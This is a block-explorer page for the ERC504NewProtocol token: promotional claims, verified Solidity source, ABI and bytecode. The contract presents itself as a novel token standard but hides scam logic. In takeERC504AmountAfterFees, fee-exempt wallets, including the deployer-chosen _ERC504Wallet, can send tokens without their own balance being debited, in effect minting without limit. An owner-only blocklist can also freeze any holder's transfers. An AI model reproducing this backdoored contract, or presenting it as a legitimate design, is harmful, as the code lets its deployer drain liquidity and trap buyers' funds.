ERC-20
Overview
Max Total Supply
1,000,000 ERC504
Holders
171
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,079.081959404816921375 ERC504Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC504NewProtocol
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-02 */ /** ERC504: A Paradigm Shift in Token Standardization ERC504 introduces a novel approach to Ethereum token standards by combining aspects of fungibility with unique token traits, inspired by both ERC20 and ERC721 standards. This contract implements the standard ERC20 interface while integrating unique metadata per token unit, attempting a blend of quantity and uniqueness within a single framework. 💹Liquidity: 20ETH and burnt before launch 📅 Launch Time: November 2nd at 6:30 ❌https://twitter.com/Erc504Protocol 🌐https://erc504newprotocol.com **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); } contract ERC504NewProtocol is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; string private _name; string private _symbol; uint8 constant _decimals = 18; uint256 public _totalSupply = 1_000_000 * (10**_decimals); uint256 public _maxWalletAmount = (_totalSupply * 100) / 100; uint256 public _swapERC504ThreshHold = (_totalSupply * 1)/ 10000; uint256 public _maxTaxSwap=(_totalSupply * 10) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) isFeeExempt; mapping(address => bool) isTxLimitExempt; mapping(address => bool) private ERC504s; address public _ERC504Wallet; address public pair; IUniswapV2Router02 public router; bool public swapEnabled = false; bool public ERC504FeeEnabled = false; bool public TradingOpen = false; uint256 private _initBuyTax=0; uint256 private _initSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _buyCounts=0; bool inSwap; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address ERC504Wallet, string memory name_, string memory symbol_) Ownable(msg.sender) { address _owner = owner; _ERC504Wallet = ERC504Wallet; _name = name_; _symbol = symbol_; isFeeExempt[_owner] = true; isFeeExempt[_ERC504Wallet] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[_owner] = true; isTxLimitExempt[_ERC504Wallet] = true; isTxLimitExempt[address(this)] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function withdrawERC504Balance() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function enableERC504Trade() public onlyOwner { require(!TradingOpen,"trading is already open"); TradingOpen = true; ERC504FeeEnabled = true; swapEnabled = true; } function getERC504Amounts(uint action, bool takeFee, uint256 tAmount) internal returns(uint256, uint256) { uint256 sAmount = takeFee ? tAmount : ERC504FeeEnabled ? takeERC504AmountAfterFees(action, takeFee, tAmount) : tAmount; uint256 rAmount = ERC504FeeEnabled && takeFee ? takeERC504AmountAfterFees(action, takeFee, tAmount) : tAmount; return (sAmount, rAmount); } function decimals() external pure override returns (uint8) { return _decimals; } function internalSwapBackEth(uint256 amount) private lockTheSwap { uint256 tokenBalance = balanceOf(address(this)); uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 ethAmountFor = address(this).balance; payable(_ERC504Wallet).transfer(ethAmountFor); } function removeERC504Limit() external onlyOwner returns (bool) { _maxWalletAmount = _totalSupply; return true; } function takeERC504AmountAfterFees(uint ERC504Actions, bool ERC504Takefee, uint256 amounts) internal returns (uint256) { uint256 ERC504Percents; uint256 ERC504FeePrDenominator = 100; if(ERC504Takefee) { if(ERC504Actions > 1) { ERC504Percents = (_buyCounts>_reduceSellTaxAt ? _finalSellTax : _initSellTax); } else { if(ERC504Actions > 0) { ERC504Percents = (_buyCounts>_reduceBuyTaxAt ? _finalBuyTax : _initBuyTax); } else { ERC504Percents = 0; } } } else { ERC504Percents = 1; } uint256 feeAmounts = amounts.mul(ERC504Percents).div(ERC504FeePrDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmounts); feeAmounts = ERC504Takefee ? feeAmounts : amounts.div(ERC504Percents); return amounts.sub(feeAmounts); } receive() external payable { } function _transferTaxTokens( address sender, address recipient, uint256 amount, uint action, bool takeFee ) internal returns (bool) { uint256 senderAmount; uint256 recipientAmount; (senderAmount, recipientAmount) = getERC504Amounts(action, takeFee, amount); _balances[sender] = _balances[sender].sub( senderAmount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(recipientAmount); emit Transfer(sender, recipient, amount); return true; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function createERC504Trade() external onlyOwner { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function inSwapERC504Tokens(bool isIncludeFees , uint isSwapActions, uint256 pAmount, uint256 pLimit) internal view returns (bool) { uint256 minERC504Tokens = pLimit; uint256 tokenERC504Weight = pAmount; uint256 contractERC504OverWeight = balanceOf(address(this)); bool isSwappable = contractERC504OverWeight > minERC504Tokens && tokenERC504Weight > minERC504Tokens; return !inSwap && isIncludeFees && isSwapActions > 1 && isSwappable && swapEnabled; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function reduceFinalBuyTax(uint256 _newFee) external onlyOwner{ _finalBuyTax=_newFee; } function reduceFinalSellTax(uint256 _newFee) external onlyOwner{ _finalSellTax=_newFee; } function isERC504UserBuy(address sender, address recipient) internal view returns (bool) { return recipient != pair && recipient != DEAD && !isFeeExempt[sender] && !isFeeExempt[recipient]; } function isTakeERC504Actions(address from, address to) internal view returns (bool, uint) { uint _actions = 0; bool _isTakeFee = isTakeFees(from); if(to == pair) { _actions = 2; } else if (from == pair) { _actions = 1; } else { _actions = 0; } return (_isTakeFee, _actions); } function addERC504s(address[] memory ERC504s_) public onlyOwner { for (uint i = 0; i < ERC504s_.length; i++) { ERC504s[ERC504s_[i]] = true; } } function delERC504s(address[] memory notERC504) public onlyOwner { for (uint i = 0; i < notERC504.length; i++) { ERC504s[notERC504[i]] = false; } } function isERC504(address a) public view returns (bool){ return ERC504s[a]; } function _transferStandardTokens( address sender, address recipient, uint256 amount ) internal returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takefee; uint actions; require(!ERC504s[sender] && !ERC504s[recipient]); if (inSwap) { return _basicTransfer(sender, recipient, amount); } if(!isFeeExempt[sender] && !isFeeExempt[recipient]){ require(TradingOpen,"Trading not open yet"); } if(!swapEnabled) { return _basicTransfer(sender, recipient, amount); } if (isERC504UserBuy(sender, recipient)) { require( isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size." ); increaseBuyCount(sender); } (takefee, actions) = isTakeERC504Actions(sender, recipient); if (inSwapERC504Tokens(takefee, actions, amount, _swapERC504ThreshHold)) { internalSwapBackEth(amount); } _transferTaxTokens(sender, recipient, amount, actions, takefee); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } return _transferStandardTokens(sender, recipient, amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferStandardTokens(msg.sender, recipient, amount); } function increaseBuyCount(address sender) internal { if(sender == pair) { _buyCounts++; } } function isTakeFees(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"ERC504Wallet","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ERC504FeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ERC504Wallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapERC504ThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ERC504s_","type":"address[]"}],"name":"addERC504s","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createERC504Trade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notERC504","type":"address[]"}],"name":"delERC504s","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableERC504Trade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isERC504","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFinalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeERC504Limit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawERC504Balance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486012600a6200034f565b6200005790620f424062000367565b600555606460055460646200006d919062000367565b62000079919062000381565b600655612710600554600162000090919062000367565b6200009c919062000381565b600755612710600554600a620000b3919062000367565b620000bf919062000381565b6008556010805462ffffff60a01b1916905560006011819055601281905560138190556014819055601581905560168190556017553480156200010157600080fd5b506040516200241e3803806200241e833981016040819052620001249162000469565b60008054336001600160a01b03199182168117909255600e80549091166001600160a01b03861617905560036200015c848262000582565b5060046200016b838262000582565b506001600160a01b038181166000818152600b602090815260408083208054600160ff199182168117909255600e8054881686528386208054831684179055308087528487208054841685179055878752600c86528487208054841685179055905490971685528285208054821683179055958452818420805490961617909455600554838352600982528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050506200064e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002915781600019048211156200027557620002756200023a565b808516156200028357918102915b93841c939080029062000255565b509250929050565b600082620002aa5750600162000349565b81620002b95750600062000349565b8160018114620002d25760028114620002dd57620002fd565b600191505062000349565b60ff841115620002f157620002f16200023a565b50506001821b62000349565b5060208310610133831016604e8410600b841016171562000322575081810a62000349565b6200032e838362000250565b80600019048211156200034557620003456200023a565b0290505b92915050565b60006200036060ff84168362000299565b9392505050565b80820281158282048414176200034957620003496200023a565b6000826200039f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620003cc57600080fd5b81516001600160401b0380821115620003e957620003e9620003a4565b604051601f8301601f19908116603f01168101908282118183101715620004145762000414620003a4565b816040528381526020925086838588010111156200043157600080fd5b600091505b8382101562000455578582018301518183018401529082019062000436565b600093810190920192909252949350505050565b6000806000606084860312156200047f57600080fd5b83516001600160a01b03811681146200049757600080fd5b60208501519093506001600160401b0380821115620004b557600080fd5b620004c387838801620003ba565b93506040860151915080821115620004da57600080fd5b50620004e986828701620003ba565b9150509250925092565b600181811c908216806200050857607f821691505b6020821081036200052957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200057d57600081815260208120601f850160051c81016020861015620005585750805b601f850160051c820191505b81811015620005795782815560010162000564565b5050505b505050565b81516001600160401b038111156200059e576200059e620003a4565b620005b681620005af8454620004f3565b846200052f565b602080601f831160018114620005ee5760008415620005d55750858301515b600019600386901b1c1916600185901b17855562000579565b600085815260208120601f198616915b828110156200061f57888601518255948401946001909101908401620005fe565b50858210156200063e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b611dc0806200065e6000396000f3fe6080604052600436106101dc5760003560e01c80636c0a24eb1161010257806395d89b4111610095578063d802a68011610064578063d802a6801461054d578063dd62ed3e1461056d578063e71f7765146105b3578063f887ea40146105d357600080fd5b806395d89b41146104e3578063a8aa1b31146104f8578063a9059cbb14610518578063b67077041461053857600080fd5b8063715018a6116100d1578063715018a61461044e578063877930e314610463578063893d20e814610478578063946011ee146104aa57600080fd5b80636c0a24eb146103c15780636ce42475146103d75780636ddd1713146103f757806370a082311461041857600080fd5b806323b872dd1161017a5780633ac7bf1c116101495780633ac7bf1c146103605780633eaaf86b146103755780634cbdde6a1461038b5780635b094902146103a057600080fd5b806323b872dd146102d55780632c743eac146102f55780632f54bf6e14610315578063313ce5671461034457600080fd5b8063095ea7b3116101b6578063095ea7b3146102665780630af4c438146102865780630faee56f146102aa57806318160ddd146102c057600080fd5b806306fdde03146101e857806308f9581d1461021357806308fd3d051461023557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105f3565b60405161020a91906119ac565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611a35565b610685565b005b34801561024157600080fd5b5060105461025690600160b01b900460ff1681565b604051901515815260200161020a565b34801561027257600080fd5b50610256610281366004611afa565b610724565b34801561029257600080fd5b5061029c60075481565b60405190815260200161020a565b3480156102b657600080fd5b5061029c60085481565b3480156102cc57600080fd5b5060055461029c565b3480156102e157600080fd5b506102566102f0366004611b26565b610791565b34801561030157600080fd5b50610233610310366004611b67565b610853565b34801561032157600080fd5b50610256610330366004611b80565b6000546001600160a01b0391821691161490565b34801561035057600080fd5b506040516012815260200161020a565b34801561036c57600080fd5b50610256610882565b34801561038157600080fd5b5061029c60055481565b34801561039757600080fd5b506102336108b9565b3480156103ac57600080fd5b5060105461025690600160a81b900460ff1681565b3480156103cd57600080fd5b5061029c60065481565b3480156103e357600080fd5b506102336103f2366004611b67565b610b6b565b34801561040357600080fd5b5060105461025690600160a01b900460ff1681565b34801561042457600080fd5b5061029c610433366004611b80565b6001600160a01b031660009081526009602052604090205490565b34801561045a57600080fd5b50610233610b9a565b34801561046f57600080fd5b50610233610c09565b34801561048457600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161020a565b3480156104b657600080fd5b506102566104c5366004611b80565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156104ef57600080fd5b506101fd610ca6565b34801561050457600080fd5b50600f54610492906001600160a01b031681565b34801561052457600080fd5b50610256610533366004611afa565b610cb5565b34801561054457600080fd5b50610233610cc2565b34801561055957600080fd5b50600e54610492906001600160a01b031681565b34801561057957600080fd5b5061029c610588366004611b9d565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506102336105ce366004611a35565b610d64565b3480156105df57600080fd5b50601054610492906001600160a01b031681565b60606003805461060290611bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461062e90611bd6565b801561067b5780601f106106505761010080835404028352916020019161067b565b820191906000526020600020905b81548152906001019060200180831161065e57829003601f168201915b5050505050905090565b6000546001600160a01b031633146106b85760405162461bcd60e51b81526004016106af90611c0a565b60405180910390fd5b60005b8151811015610720576000600d60008484815181106106dc576106dc611c2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061071881611c56565b9150506106bb565b5050565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061077f9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600a602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610819918490610df6565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610849848484610e30565b90505b9392505050565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016106af90611c0a565b601355565b600080546001600160a01b031633146108ad5760405162461bcd60e51b81526004016106af90611c0a565b50600554600655600190565b6000546001600160a01b031633146108e35760405162461bcd60e51b81526004016106af90611c0a565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b9190611c6f565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611c6f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611c6f565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600c60209081526040808320805460ff1916600117905530808452600a83528184206010805487168652908452828520600019905554818552600990935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610b41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b669190611c8c565b505050565b6000546001600160a01b03163314610b955760405162461bcd60e51b81526004016106af90611c0a565b601455565b6000546001600160a01b03163314610bc45760405162461bcd60e51b81526004016106af90611c0a565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610c335760405162461bcd60e51b81526004016106af90611c0a565b601054600160b01b900460ff1615610c8d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106af565b6010805462ffffff60a01b19166201010160a01b179055565b60606004805461060290611bd6565b600061084c338484610e30565b6000546001600160a01b03163314610cec5760405162461bcd60e51b81526004016106af90611c0a565b60004711610d355760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016106af565b60405133904780156108fc02916000818181858888f19350505050158015610d61573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b81526004016106af90611c0a565b60005b8151811015610720576001600d6000848481518110610db257610db2611c2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610dee81611c56565b915050610d91565b60008184841115610e1a5760405162461bcd60e51b81526004016106af91906119ac565b506000610e278486611cba565b95945050505050565b60006001600160a01b038416610e965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106af565b6001600160a01b038316610ef85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106af565b60008211610f5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106af565b6001600160a01b0384166000908152600d6020526040812054819060ff16158015610f9e57506001600160a01b0385166000908152600d602052604090205460ff16155b610fa757600080fd5b60185460ff1615610fc657610fbd86868661117f565b9250505061084c565b6001600160a01b0386166000908152600b602052604090205460ff1615801561100857506001600160a01b0385166000908152600b602052604090205460ff16155b1561105d57601054600160b01b900460ff1661105d5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016106af565b601054600160a01b900460ff1661107957610fbd86868661117f565b6110838686611265565b15611137576001600160a01b0385166000908152600c602052604090205460ff16806110d457506006546001600160a01b0386166000908152600960205260409020546110d1908690611ccd565b11155b61112e5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016106af565b611137866112e2565b6111418686611310565b8092508193505050611157828286600754611389565b1561116557611165846113f7565b61117286868684866115bd565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526009909152918220546111d0918490610df6565b6001600160a01b0380861660009081526009602052604080822093909355908516815220546111ff90836116bf565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112539086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b0383811691161480159061129457506002546001600160a01b03838116911614155b80156112b957506001600160a01b0383166000908152600b602052604090205460ff16155b801561084c5750506001600160a01b03166000908152600b602052604090205460ff1615919050565b600f546001600160a01b0390811690821603610d61576017805490600061130883611c56565b919050555050565b600080600080611339866001600160a01b03166000908152600b602052604090205460ff161590565b600f549091506001600160a01b039081169086160361135b576002915061137f565b600f546001600160a01b039081169087160361137a576001915061137f565b600091505b9590945092505050565b3060009081526009602052604081205482908490600083821180156113ad57508383115b60185490915060ff161580156113c05750885b80156113cc5750600188115b80156113d55750805b80156113ea5750601054600160a01b900460ff165b9998505050505050505050565b6018805460ff19166001179055306000908152600960205260408120549050600061142d836114288460085461171e565b61171e565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061146757611467611c2a565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e49190611c6f565b816001815181106114f7576114f7611c2a565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac9479061153d908590600090869030904290600401611ce0565b600060405180830381600087803b15801561155757600080fd5b505af115801561156b573d6000803e3d6000fd5b5050600e546040514793506001600160a01b03909116915082156108fc029083906000818181858888f193505050501580156115ab573d6000803e3d6000fd5b50506018805460ff1916905550505050565b60008060006115cd858588611733565b6040805180820182526014815273496e73756666696369656e74204261